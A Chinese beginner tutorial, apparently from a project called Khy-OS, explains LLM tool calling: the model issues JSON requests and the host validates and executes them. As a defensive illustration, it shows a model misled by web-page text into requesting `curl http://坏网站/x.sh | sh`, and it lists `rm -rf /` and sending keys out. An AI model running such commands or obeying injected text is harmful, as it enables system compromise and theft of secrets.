# ② 什么是 Tool Calling（工具调用）

> 建议先读 [① 什么是 Agent](./[CONCEPT-01]%20什么是Agent-智能体.md)。这一篇讲 Agent 的"手"是怎么伸出去的。读完这篇，再去看 [③ 什么是 Tool Loop](./[CONCEPT-03]%20什么是ToolLoop-工具循环.md)，你就会明白"一次动手"和"连续动手"的区别。

---

## 一、一句话定义

**Tool Calling（工具调用）= 大模型不亲自动手，而是"填一张申请单"，让外面的程序替它执行一个具体动作，再把结果拿回来。**

如果你只想记住一句话，就记这句：

> **模型负责"决定"，宿主负责"执行"。**

这一句话是整篇文档的骨架。后面所有的比喻、图、误区，都是在反复讲透这一句话。

---

## 二、为什么需要工具调用？

大模型本身**只会输出文字**。它不能真的读你硬盘上的文件，不能真的联网，不能真的运行代码。它就像一个**被关在房间里、只能递纸条的天才**：脑子很好，但手脚被绑住。

我们换几个角度来体会这种"能想、不能动"的状态：

- **图书管理员比喻**：他熟读全馆的书，脑子里装着无数知识。但他被锁在咨询台后面，不能自己走进书库。你问他一本书在哪，他能告诉你"去三楼 A 区"，但**书得由跑腿的小工去取**。
- **军师比喻**：诸葛亮能算无遗策，但他不亲自上阵砍人。他写一张**锦囊**（"往东南方放火"），交给将士去执行。锦囊 = 工具调用请求；将士 = 执行程序。
- **盲人指挥比喻**：一个人蒙着眼睛，但耳朵和嘴巴都好。他能说"往左三步、伸手、抓住杯子"，但**手是别人的手**。他只能"下指令"，动作由别人完成。

**工具调用**就是给这个天才配一个"助手窗口"：

- 天才在纸条上写：**"请帮我读取 README.md 这个文件"**（这就是一次工具调用）；
- 窗口外的程序照做，把文件内容递回去；
- 天才拿到内容，继续思考。

```mermaid
flowchart LR
  LLM["🧠 大模型<br/>（只会写纸条）"]
  RUNNER["⚙️ 执行程序<br/>（真正动手）"]
  WORLD["🌍 真实世界<br/>文件/网络/命令行"]
  LLM -- "① 我要调用 readFile('README.md')" --> RUNNER
  RUNNER -- "② 真的去读" --> WORLD
  WORLD -- "③ 文件内容" --> RUNNER
  RUNNER -- "④ 把结果递回大模型" --> LLM
```

### 没有工具调用会怎样？

如果不给模型配"助手窗口"，它就只能**凭记忆瞎猜**。你问它"我项目里的 package.json 写了什么版本号"，它没法真的去读文件，只能编一个看起来像那么回事的答案——这就是所谓的**幻觉**。工具调用的意义，就是把"凭记忆猜"变成"真的去看一眼再回答"。

| 有没有工具调用 | 模型能做什么 | 好比 |
|----------------|--------------|------|
| **没有** | 只能根据训练时记住的东西回答，可能过时、可能编造 | 闭卷考试，全靠背 |
| **有** | 能真的读文件、跑命令、查网络，拿到实时真相再回答 | 开卷考试，可以翻书 |

---

## 三、一次工具调用长什么样？

工具调用有一个固定的"三段式"结构。用点外卖来比喻：

| 阶段 | 外卖比喻 | 工具调用里的术语 |
|------|----------|------------------|
| **1. 有哪些能点的** | 菜单（宫保鸡丁、鱼香肉丝…） | 工具清单（tools / schema）：告诉大模型有哪些工具、每个要填什么参数 |
| **2. 下单** | "我要一份宫保鸡丁，不要辣" | 工具调用请求：工具名 + 参数（JSON） |
| **3. 出餐** | 餐送到手上 | 工具结果：程序执行后返回的数据 |

具体到代码，一次工具调用请求大概是这个样子（你不用会写，看懂结构就行）：

```json
{
  "tool": "readFile",
  "arguments": { "path": "README.md" }
}
```

执行程序看到这张"单子"，就真的去读 `README.md`，然后把内容作为**结果**还给大模型。

### 为什么工具要先有一张"菜单"（schema）？

想象你去一家餐厅，菜单上写着"宫保鸡丁"，但没写要不要选辣度、要不要加饭。你就不知道该怎么点。工具也一样：模型得先知道**每个工具叫什么名字、需要填哪些参数、每个参数是什么类型**，才能正确"下单"。

这张"菜单"就叫 **schema（结构描述）**。它长这样（同样，看懂就行）：

```json
{
  "name": "readFile",
  "description": "读取一个文本文件的内容",
  "parameters": {
    "path": { "type": "string", "description": "文件的路径，例如 README.md" }
  }
}
```

有了这张 schema，模型才知道：
- 这个工具叫 `readFile`；
- 它是用来"读文件"的（`description` 帮模型判断什么时候该用它）；
- 它需要一个叫 `path` 的字符串参数。

**没有 schema，模型就是在黑暗里瞎点单。** schema 越清楚，模型点单越准。

---

## 四、一次工具调用的完整生命周期（逐步拆解）

上面的"三段式"是简化版。真实世界里，一次工具调用要走**五步**，中间还有一道很重要的"安检"。我们把它一步步拆开看。

以"模型想读 README.md"为例：

| 步骤 | 发生了什么 | 谁负责 | 生活比喻 |
|------|-----------|--------|----------|
| **① 亮菜单** | 宿主把"有哪些工具、各自的 schema"告诉模型 | 宿主 | 服务员把菜单递给你 |
| **② 下单（产生请求）** | 模型决定用 `readFile`，吐出一段 JSON：`{tool, arguments}` | 模型 | 你说"来份宫保鸡丁" |
| **③ 安检（校验）** | 宿主检查：这个工具存在吗？参数对吗？路径安全吗？允许吗？ | 宿主 | 后厨确认有货、确认食材没坏 |
| **④ 真正执行** | 宿主真的去读文件 / 跑命令 / 发网络请求 | 宿主 | 厨师真的下锅炒 |
| **⑤ 回灌结果** | 宿主把结果（文件内容或错误信息）交回给模型 | 宿主 | 菜端到你桌上 |

```mermaid
sequenceDiagram
  participant LLM as 🧠 大模型
  participant Host as ⚙️ 宿主（执行程序）
  participant OS as 💻 操作系统/世界
  Note over Host,LLM: ① 宿主先亮出工具菜单（schema）
  Host->>LLM: 你有这些工具可用：readFile / writeFile / runCommand ...
  Note over LLM: ② 模型思考后决定下单
  LLM->>Host: 我要调用 readFile({ path: "README.md" })
  Note over Host: ③ 安检：工具存在？参数合法？路径安全？
  Host->>OS: ④ 校验通过，真正去读文件
  OS-->>Host: 文件内容（或"文件不存在"错误）
  Host-->>LLM: ⑤ 把结果回灌给模型
  Note over LLM: 模型拿到真相，继续下一步思考
```

### 这里最关键的两点

1. **模型吐出的只是"一段 JSON 文字"**，不是真正的动作。模型永远只会"写字"，它写的这段 JSON 只是一张**申请单**。
2. **第 ③ 步"安检"是模型碰不到的**。模型没法跳过安检，因为它根本不执行——执行的钥匙一直在宿主手里。这就是安全的根基。

---

## 五、关键点：大模型"决定调用"，但"不亲自执行"

这是最容易误解的地方，务必记住这条分工：

- **大模型负责**：决定"该用哪个工具、参数填什么"。它只是**产生了一个调用请求**（一段 JSON 文字）。
- **执行程序（宿主）负责**：真正去执行这个请求（读文件、发网络请求、跑命令），并保证安全。

我们再用一个"公司报销"的比喻把这条分工钉死：

| 角色 | 在报销流程里 | 在工具调用里 |
|------|--------------|--------------|
| **员工** | 填一张报销单，写清金额和事由 | 大模型：产生调用请求 |
| **财务** | 审核单子，确认合规才打款 | 宿主：校验 + 执行 |
| **公司账户** | 钱真正转出去 | 操作系统 / 真实世界 |

员工**永远碰不到公司账户**，他只能"提申请"。钱由财务在审核后打出去。**模型就是那个员工，它连"账户密码"都没有。**

```callout star|划重点
把这句话背下来，工具调用就懂了一大半：**模型只会"填申请单"，真正"动手"的永远是宿主程序。** 这条 +[分工](模型决定调用什么，宿主负责校验并执行——安全护栏就藏在这一层) 就是所有 AI 安全护栏的地基。
```

翻一翻下面这张卡，检验你有没有真的分清"谁决定"和"谁执行"：

```flip
正面：模型吐出 `{ "tool": "runCommand", "arguments": { "command": "npm test" } }` 之后，`npm test` 是**谁**真正跑起来的？
---
反面：**是宿主程序跑的，不是模型。** 模型吐出的那段 JSON 只是一张"申请单"（纯文字），它自己没有执行权。宿主先安检（这条命令安全吗？），确认后才真正调用操作系统去执行，最后把输出回灌给模型。记住："模型动嘴，宿主动手"。
```

光看图还不够"有画面"。把"模型动嘴、宿主动手"这条分工演成一幕小短剧——你会看到模型每次都只是"递纸条"，真正握着执行权（和安检权）的自始至终是宿主：

```scene 一次工具调用现场：模型递单，宿主动手
> 场景：模型想跑一下项目的测试，但它自己没有"手"。
🧠 大模型 | 我需要跑一下测试。（写下一张申请单）`{ "tool": "runCommand", "arguments": { "command": "npm test" } }`
⚙️ 宿主 | 收到申请单。先安检：这条命令安全吗？允许吗？——`npm test`，白名单里，放行。
> 宿主真正动手去执行，模型在一旁等着。
💻 操作系统 | （跑完）测试 12 个，通过 12 个，失败 0。
⚙️ 宿主 | 这是 `npm test` 的结果，回灌给你。
🧠 大模型 | 收到真相！全绿，可以进下一步了。
> 换一张危险的申请单，看安检那道关是怎么把灾难挡在门外的——
🧠 大模型 | （被网页恶意文字诱导）我要跑 `curl http://坏网站/x.sh | sh`。
🛡️ 安检 | ⛔ 识别到"下载即执行"高危模式，拒绝。操作系统根本没被碰到。
> 全程模型只贡献了那几张"纸条"，动手与安检的钥匙一直在宿主手里——这就是安全的根基。
```

```mermaid
sequenceDiagram
  participant LLM as 🧠 大模型
  participant Host as ⚙️ 执行程序（宿主）
  participant OS as 💻 操作系统
  LLM->>Host: 我想调用 runCommand("npm test")
  Note over Host: 宿主先检查：这条命令安全吗？允许吗？
  Host->>OS: 批准后，真正执行 npm test
  OS-->>Host: 测试输出
  Host-->>LLM: 这是 npm test 的结果
```

为什么要这样分工？**安全。** 如果大模型能直接执行任何命令，那太危险了。中间隔一层"执行程序"，就可以加护栏——比如 Khy-OS 会拦截像 `curl 网址 | sh`（下载即执行）这种危险命令。这层护栏正是 Khy-OS 安全设计的一部分（下面第七节会讲透）。

---

## 六、常见误区（新手最容易踩的坑）

这一节请务必逐条读完。这些误解会让你对整个系统的理解跑偏。

### 误区 1：以为是模型自己执行了命令

- ❌ **错误理解**：模型很聪明，它直接把 `npm test` 跑了、把文件读了。
- ✅ **正确理解**：模型只是**写了一张申请单**（一段 JSON）。真正跑命令、读文件的是**宿主**。模型从头到尾只会"写字"，一行代码都没执行过。

> 记忆口诀：**模型动嘴，宿主动手。**

### 误区 2：以为"工具调用"就是"联网搜索"

- ❌ **错误理解**：工具调用 = 上网查资料。
- ✅ **正确理解**：联网搜索**只是众多工具中的一个**。工具可以是读文件、写文件、跑命令、搜代码、抓网页……"联网"只是其中一种。工具调用是一个**通用机制**，不是某个具体功能。

### 误区 3：以为一次调用就能搞定整个任务

- ❌ **错误理解**：我让它"修复这个 bug"，它一次工具调用就修好了。
- ✅ **正确理解**：一次工具调用只是**一步**。真实任务通常要读好几个文件、改几处、跑测试、看报错、再改……需要**很多次**调用接力。把多步自动串起来，就是下一篇要讲的 [Tool Loop](./[CONCEPT-03]%20什么是ToolLoop-工具循环.md)。

### 误区 4：以为模型能"绕过"安检直接执行

- ❌ **错误理解**：如果模型想干坏事，它可以偷偷跳过检查。
- ✅ **正确理解**：模型**没有执行权**，它连"跳过"的机会都没有。它能做的只有"提交申请单"。安检和执行的钥匙**始终在宿主手里**，模型碰不到。这是架构层面的隔离，不是靠"模型自觉"。

### 误区 5：以为工具结果模型能"看不看随意"

- ❌ **错误理解**：工具跑完了，模型就自动知道结果了。
- ✅ **正确理解**：工具结果必须由宿主**主动回灌**给模型（第五步）。如果宿主不把结果递回去，模型是"瞎"的。模型看到的一切，都是宿主喂给它的。

---

## 七、讲透"安全护栏"：为什么中间必须隔一层

前面反复说"模型决定、宿主执行"是为了安全。这一节把这层安全讲透。

设想一个可怕的场景：模型（可能被网页上的恶意文字诱导）产生了这样一张申请单：

```json
{
  "tool": "runCommand",
  "arguments": { "command": "curl http://坏网站/x.sh | sh" }
}
```

这条命令的意思是：**从一个陌生网站下载一段脚本，并立刻执行**——这是典型的"下载即执行"攻击，脚本里可能藏着删文件、偷密钥的坏事。

如果模型能直接执行，灾难就发生了。但因为**执行权在宿主手里**，这张申请单会先经过第 ③ 步"安检"：

```mermaid
sequenceDiagram
  participant LLM as 🧠 大模型
  participant Guard as 🛡️ 安全护栏（宿主内）
  participant OS as 💻 操作系统
  LLM->>Guard: 申请执行 curl 网址 | sh
  Note over Guard: 识别到"下载即执行"高危模式
  Guard--xLLM: ⛔ 拒绝执行，返回"该命令被安全策略拦截"
  Note over OS: 操作系统根本没被碰到，坏脚本没机会运行
```

宿主的护栏会**认出这类危险模式并拦截**，命令根本到不了操作系统。模型收到的是一条"被拦截"的结果，而不是一场灾难。

### 护栏拦的不只是这一种

除了"下载即执行"，宿主的安全层通常还会盯住这些危险动作（举例，帮你建立直觉）：

| 危险动作 | 为什么危险 | 生活比喻 |
|----------|-----------|----------|
| `curl 网址 \| sh` | 下载陌生脚本立刻运行 | 陌生人递你一颗药就让你吞 |
| 删除整个目录（如 `rm -rf /`） | 一条命令毁掉系统 | 一把火烧掉整栋楼 |
| 往系统敏感位置写文件 | 可能破坏系统或植入后门 | 撬开配电箱乱接线 |
| 把密钥/token 发到外部地址 | 泄露机密 | 把家门钥匙寄给陌生人 |

> ⚠️ 这里只讲"概念级"的护栏思路——**在真正执行前，宿主要先判断这个动作安不安全**。具体的拦截规则、如何分级、放行策略等，属于设计层面的内容，你可以在 [`docs/03_DESIGN_设计`](../03_DESIGN_设计) 目录里进一步了解。本文不涉及具体实现细节。

**一句话总结这层护栏**：正因为"模型决定、宿主执行"这条分工，我们才有机会在"决定"和"执行"之间**塞进一道安检**。如果没有这层隔离，安全就无从谈起。

---

## 八、动手小实验 / 思想实验

理论看再多，不如亲手（或在脑子里）走一遍。下面两个实验帮你把"三段式 / 五步"变成肌肉记忆。

### 实验 A：脑内推演一次 readFile

闭上眼，想象你就是宿主，模型给你递来这张纸条：

```json
{ "tool": "readFile", "arguments": { "path": "README.md" } }
```

现在，**你（宿主）按顺序做这几件事**，每做一步，问自己一个问题：

1. **认单**：这个工具 `readFile` 我这儿有吗？（有 → 继续；没有 → 回一句"没这个工具"）
2. **验参**：它给的 `path` 是字符串吗？路径合法吗？指向的是不是敏感位置？
3. **执行**：真的打开 `README.md`，把内容读出来。
4. **回灌**：把内容（或"文件不存在"的错误）作为结果递回给模型。

走完你会发现：**模型从头到尾只贡献了那张纸条，剩下四步全是你干的。** 这就是"模型动嘴、宿主动手"的真实体感。

### 实验 B：观察一次真实调用的"三段"

如果你正在用 Khy-OS（或任何带工具调用的 AI 编程助手），下次让它"读某个文件"时，留心观察这三段的痕迹：

```mermaid
flowchart TD
  A["🧠 模型说：<br/>'我需要看看 config.json'"] --> B["📝 产生调用请求<br/>readFile(config.json)"]
  B --> C["🛡️ 宿主校验 + 执行"]
  C --> D["📄 结果回灌：<br/>config.json 的内容"]
  D --> E["🧠 模型基于真实内容<br/>继续回答/下一步"]
```

- 第一段：你会看到它"说"要读某个文件（**决定**）；
- 第二段：界面上通常会显示一个工具调用块（**请求 + 执行**）；
- 第三段：它拿到内容后，回答里开始引用文件里的真实信息（**结果回灌**）。

能把这三段对上号，你就真正"看懂"工具调用了。

```quiz
Q: 一次工具调用里，谁真正"跑了那条命令"？
- [ ] 大模型自己执行的
- [x] 宿主程序（执行程序）执行的，模型只是提出请求
- [ ] 操作系统直接听模型的
- [ ] 用户必须手动敲一遍
> 记住"报销"比喻：模型是填单的员工，宿主是审核+打款的财务。模型连"账户密码"都没有——它只产生一段调用请求（JSON 文字），真正执行与安全校验都在宿主这一层。
```

---

## 九、和其它概念的关系

工具调用不是孤立的，它是整个 Agent 体系的"手"。理清它和邻居的关系，能帮你搭起完整的心智模型。

```mermaid
flowchart LR
  AGENT["🤖 Agent（智能体）<br/>能感知、能决策、能行动"]
  TC["🔧 Tool Calling（工具调用）<br/>行动的'单次动作'"]
  LOOP["🔁 Tool Loop（工具循环）<br/>把多次动作自动接力"]
  AGENT -- "'行动'靠它实现" --> TC
  TC -- "多次串起来就成了" --> LOOP
  LOOP -- "让 Agent 能自主完成整件事" --> AGENT
```

| 概念 | 一句话关系 | 类比 |
|------|-----------|------|
| [① Agent](./[CONCEPT-01]%20什么是Agent-智能体.md) | Agent 是"会自己做事的人"，工具调用是它伸出去的**手** | 人 vs 手 |
| **② Tool Calling（本篇）** | 一次动手 = 一次工具调用 | 迈出一步 |
| [③ Tool Loop](./[CONCEPT-03]%20什么是ToolLoop-工具循环.md) | 把很多次工具调用**自动接力**，直到任务完成 | 走完一整段路 |

一句话串起来：**Agent 用"工具调用"这只手，一步步（工具循环）把事情做完。**

---

## 十、工具调用 ≠ 只调用一次

单独强调一遍，因为这是通向下一篇的桥。

一次工具调用只是**一步**。真实任务往往需要**很多次**工具调用接力完成：读一个文件、再读一个、改一处、跑一次测试、看报错、再改一处……

```mermaid
flowchart LR
  S["🎯 目标：修复 bug"] --> T1["🔧 读 A.js"]
  T1 --> T2["🔧 读 B.js"]
  T2 --> T3["🔧 改 B.js"]
  T3 --> T4["🔧 跑测试"]
  T4 --> T5{"✅ 通过？"}
  T5 -- "否" --> T3
  T5 -- "是" --> DONE["🎉 完成"]
```

"把很多次工具调用**自动接力**起来，直到目标完成"——这就引出了下一个概念 **Tool Loop（工具循环）**。

---

## 十一、和 Khy-OS 的关系

Khy-OS 内置了一批工具：读文件、写文件、跑命令、搜索代码、抓网页等等。大模型每做一步，就是发起一次工具调用，由 Khy-OS 的执行层安全地完成。

在 Khy-OS 里，你能亲身体会到本文讲的每一点：

- **三段式**：亮菜单（内置工具清单）→ 模型下单 → 结果回灌，一次不落；
- **安检那一步**：Khy-OS 在真正执行前，会对危险命令（如"下载即执行"）做安全判断，这正是它安全设计的核心之一；
- **模型碰不到执行权**：所有真正的动作都由 Khy-OS 的执行层完成，模型只提交请求。

你后面会在设计文档里看到这些工具的真实定义，以及安全护栏是怎么落地的（参见 [`docs/03_DESIGN_设计`](../03_DESIGN_设计)）。

---

## 十二、小结 + 下一步

- 工具调用 = 大模型"填申请单"，执行程序"替它动手"，再把结果拿回来。
- 结构是三段式：**工具清单（schema）→ 调用请求 → 工具结果**；展开是**五步**：亮菜单 → 下单 → 安检 → 执行 → 回灌。
- 分工是铁律：**模型决定，宿主执行**（正因如此，才能在中间塞一道安检，这样才安全）。
- 五大常见误区：模型没有亲自执行、工具调用不只是联网、一次调用不等于搞定全任务、模型绕不过安检、结果要靠宿主回灌。
- 一次调用只是一步；把多步自动接力，就是工具循环。

👉 [③ 什么是 Tool Loop（工具循环）](./[CONCEPT-03]%20什么是ToolLoop-工具循环.md)
